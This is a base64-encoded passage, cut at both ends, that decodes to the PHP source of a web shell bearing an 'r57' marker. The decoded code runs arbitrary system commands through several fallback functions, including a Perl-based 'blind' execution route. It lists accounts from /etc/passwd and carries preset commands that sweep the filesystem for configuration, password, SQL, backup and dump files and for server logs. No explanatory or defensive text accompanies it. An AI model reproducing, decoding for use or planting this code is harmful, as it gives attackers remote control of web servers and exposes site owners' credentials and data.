ZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgdmhvc3RzLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBwcm9mdHBkLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBwcm9mdHBkLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBhZG1pbi5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBhZG1pbi5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBjb25maWcqIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNmZy5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjZmcucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZi5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25mLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmZpZy5kYXQgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGF0ID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgY29uZmlnLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBjb25maWcuaW5jIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGVmYXVsdC5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAqLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKi5jb25mIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kICoucHdkIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIioucHdkIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kICouc3FsIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIiouc3FsIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kICpiYWNrdXAqIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIipiYWNrdXAqIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kICpkdW1wKiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqZHVtcCoiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+JycsDQonZmluZCAvdmFyLyBhY2Nlc3NfbG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGFjY2Vzc19sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsDQonZmluZCAvdmFyLyBlcnJvcl9sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgZXJyb3JfbG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgL3Zhci8gYWNjZXNzLmxvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3MubG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLA0KJ2ZpbmQgL3Zhci8gZXJyb3IubG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yLmxvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCidmaW5kIC92YXIvICIqLmxvZyIgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgIioubG9nIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sYScNCik7DQokdGFibGVfdXAxICA9ICI8dHI+PHRkIGNsYXNzPWhlYWQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBjbGFzcz1oZWFkPiI7DQokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsNCiRhcnJvdyA9ICIiOw0KJGxiID0gIjxmb250IGNvbG9yPSM4ODg4ODg+WzwvZm9udD4iOw0KJHJiID0gIjxmb250IGNvbG9yPSM4ODg4ODg+XTwvZm9udD4iOw0KJGZvbnQgPSAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+IjsNCiR0cyA9ICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7DQokdGUgPSAiPC90YWJsZT4iOw0KJGZzID0gIjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4iOw0KJGZlID0gIjwvZm9ybT4iOw0KIA0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKSANCiB7IA0KIGlmKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvZm9udD48L2NlbnRlcj4iOyB9DQogZWxzZSANCiAgeyANCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IA0KIH0NCiANCmlmICghZW1wdHkoJF9QT1NUWydkaXInXSkpIHsgaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hkaXInKSl7QGNoZGlyKCRfUE9TVFsnZGlyJ10pO30gZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdjaHJvb3QnKSl7IEBjaHJvb3QoJF9QT1NUWydkaXInXSk7fTsgfQ0KaWYgKGVtcHR5KCRfUE9TVFsnZGlyJ10pKXtpZihAZnVuY3Rpb25fZXhpc3RzKCdjaGRpcicpKXskZGlyID0gQGdldGN3ZCgpO307fWVsc2V7JGRpcj0kX1BPU1RbJ2RpciddO30NCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZGlyKT4xICYmICRkaXJbMV09PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRpcikpDQogeyANCiAkb3MgPSBnZXRlbnYoJ09TJyk7DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9IEBwaHBfdW5hbWUoKTsgfSANCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0gDQogZWxzZQ0KICAgIHsNCiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9DQogICAgZWxzZSB7ICR1bml4ID0gMTsgfQ0KICAgIH0NCiB9DQogDQppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikNCiAgew0KICAgIGVjaG8gJGhlYWQ7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQ0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQ0KICAgICRzci0+U2VhcmNoVGV4dCgwLDApOw0KICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7DQogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsNCiAgICAkdGl0bGVzID0gJHNyLT5HZXRUaXRsZXMoKTsNCiAgICAkciA9ICIiOw0KICAgIGlmKCRmb3VuZCA+IDApDQogICAgew0KICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7DQogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQ0KICAgICAgew0KICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICRyIC49ICI8VEQgY29sc3Bhbj0yPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIud3MoMyk7DQogICAgICAgICRyIC49ICghJHVuaXgpPyBzdHJfcmVwbGFjZSgiLyIsIlxcIiwkZmlsZSkgOiAkZmlsZTsNCiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsNCiAgICAgICAgJHIgLj0gIjwvVFI+IjsNCiAgICAgICAgZm9yZWFjaCgkdiBhcyAkYT0+JGIpDQogICAgICAgIHsNCiAgICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsNCiAgICBlY2hvICRyOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICBkaWUoKTsgDQogIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogDQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7DQogIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkNCiAgIHsNCiAgICBAZXhlYygkY2ZlLCRyZXMpOw0KICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQogICB9DQogIGVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpDQogICB7DQogICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KICAgfQ0KICBlbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgQG9iX2VuZF9jbGVhbigpOw0KICAgfQ0KICBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpDQogIHsNCiAgICRyZXMgPSAiIjsNCiAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICB3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQogICB9ZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7DQogICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmZ2V0cygkZiwxMDI0KTsgfQ0KICAgfQ0KICAgQHBjbG9zZSgkZik7DQogIH0NCiAgZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwcm9jX29wZW4oJGNmZSxhcnJheSgxID0+IGFycmF5KCJwaXBlIiwgInciKSksJHBpcGVzKSkpDQogIHsNCiAgICRyZXMgPSAiIjsNCiAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCiAgICB3aGlsZSghQGZlb2YoJHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7fQ0KICAgfWVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpew0KICAgIHdoaWxlKCFAZmVvZigkcGlwZXNbMV0pKSB7JHJlcyAuPSBAZmdldHMoJHBpcGVzWzFdLCAxMDI0KTt9DQogICB9DQogICBAcHJvY19jbG9zZSgkZik7DQogIH0NCiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2V4ZWMnKSYmQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKQ0KICAgew0KICAgICRyZXMgPSAnW35dIEJsaW5kIENvbW1hbmQgRXhlY3V0aW9uIHZpYSBbcGNudGxfZXhlY11cblxuJzsNCiAgICAkcGlkID0gQHBjbnRsX2ZvcmsoKTsNCiAgICBpZiAoJHBpZCA9PSAtMSkgew0KICAgICAkcmVzIC49ICdbLV0gQ291bGQgbm90IGNoaWxkcmVuIGZvcmsuIEV4aXQnOw0KICAgIH0gZWxzZSBpZiAoJHBpZCkgew0KICAgICAgICAgaWYgKEBwY250bF93aWZleGl0ZWQoJHN0YXR1cykpeyRyZXMgLj0gJ1srXSBEb25lISBDb21tYW5kICInLiRjZmUuJyIgc3VjY2Vzc2Z1bGx5IGV4ZWN1dGVkLic7fQ0KICAgICAgICAgZWxzZSB7JHJlcyAuPSAnWy1dIEVycm9yLiBDb21tYW5kIGluY29ycmVjdC4nO30NCiAgICB9IGVsc2Ugew0KICAgICAgICAgJGNmZSA9IGFycmF5KCIgLWUgJ3N5c3RlbShcIiRjZmVcIiknIik7DQogICAgICAgICBpZihAcGNudGxfZXhlYygnL3Vzci9iaW4vcGVybCcsJGNmZSkpIGV4aXQoMCk7DQogICAgICAgICBpZihAcGNudGxfZXhlYygnL3Vzci9sb2NhbC9iaW4vcGVybCcsJGNmZSkpIGV4aXQoMCk7DQogICAgICAgICBkaWUoKTsNCiAgICB9DQogICB9DQogfQ0KIHJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gZ2V0X3VzZXJzKCRmaWxlbmFtZSkNCnsNCiAgJHVzZXJzID0gYXJyYXkoKTsNCiAgJHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmlsZW5hbWUpKTsNCiAgaWYoISRyb3dzKSByZXR1cm4gMDsNCiAgZm9yZWFjaCAoJHJvd3MgYXMgJHN0cmluZykNCiAgIHsNCiAgICR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOw0KICAgaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclswXSk7DQogICB9DQogIHJldHVybiAkdXNlcnM7IA0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBjbGFzcz1oZWFkPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nOw0KZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07DQppZighZW1wdHkoJHR4dCkpIHsgZWNobyAiICR0eHQiOyB9DQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmIDB4MTAwMCApIHsgJHR5cGU9J3AnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NDAwMCApIHsgJHR5cGU9J2QnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NjAwMCApIHsgJHR5cGU9J2InOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QTAwMCApIHsgJHR5cGU9J2wnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QzAwMCApIHsgJHR5cGU9J3MnOyB9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCmlmKCAkbW9kZSAmIDB4ODAwICkgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOw0KaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsICR0eXBlKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAkb3duZXJbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICR3b3JsZFsncmVhZCddLCAkd29ybGRbJ3dyaXRlJ10sICR3b3JsZFsnZXhlY3V0ZSddKTsNCnJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKQ0Kew0KICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7IA0KIGlmKCRzaXplICE9IDApIHsgJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjsgfSANCiAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7IA0KIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7IA0KIHJldHVybiAkcmV0LiI+IjsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikNCnsNCiRwYXRoID0gJyc7DQokcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0NCn0NCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkNCnsNCiAkd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpIG9yIGVycigwKTsNCiBpZigkd19maWxlKQ0KIHsNCiBAZndyaXRlKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKSBvciBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZm5hbWUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiBAZmNsb3NlKCR3X2ZpbGUpOw0KIH0NCn0NCmZ1bmN0aW9uIHNyKCRsLCR0MSwkdDIpDQogew0KIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+IjsNCiB9DQppZiAoIUBmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICIgTUIiO30NCiBlbHNlaWYoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAiIEtCIjt9DQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KIHJldHVybiAkc2l6ZTsNCn0NCn0NCiAgZnVuY3Rpb24gRGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKQ0KICB7DQogICAgJGZpbGVzID0gQXJyYXkoKTsNCiAgICBpZigoJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpKSB8fCAoQGZ1bmN0aW9uX2V4aXN0cygnc2NhbmRpcicpKSkNCiAgICB7DQogICAgICB3aGlsZSAoKGZhbHNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkaGFuZGxlKSkpICYmIChmYWxzZSAhPT0gKCRmaWxlID0gQHNjYW5kaXIoJGRpcikpKSkNCiAgICAgIHsNCiAgICAgICAgaWYgKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKQ0KICAgICAgICB7DQogICAgICAgICAgaWYoQGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpDQogICAgICAgICAgICAkZmlsZXMgPSBAYXJyYXlfbWVyZ2UoJGZpbGVzLERpckZpbGVzUigkZGlyLiIvIi4kZmlsZSwkdHlwZXMpKTsNCiAgICAgICAgICBlbHNlDQogICAgICAgICAgew0KICAgICAgICAgICAgJHBvcyA9IEBzdHJycG9zKCRmaWxlLCIuIik7DQogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOw0KICAgICAgICAgICAgaWYoJHR5cGVzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkNCiAgICAgICAgICAgICAgICAkZmlsZXNbXS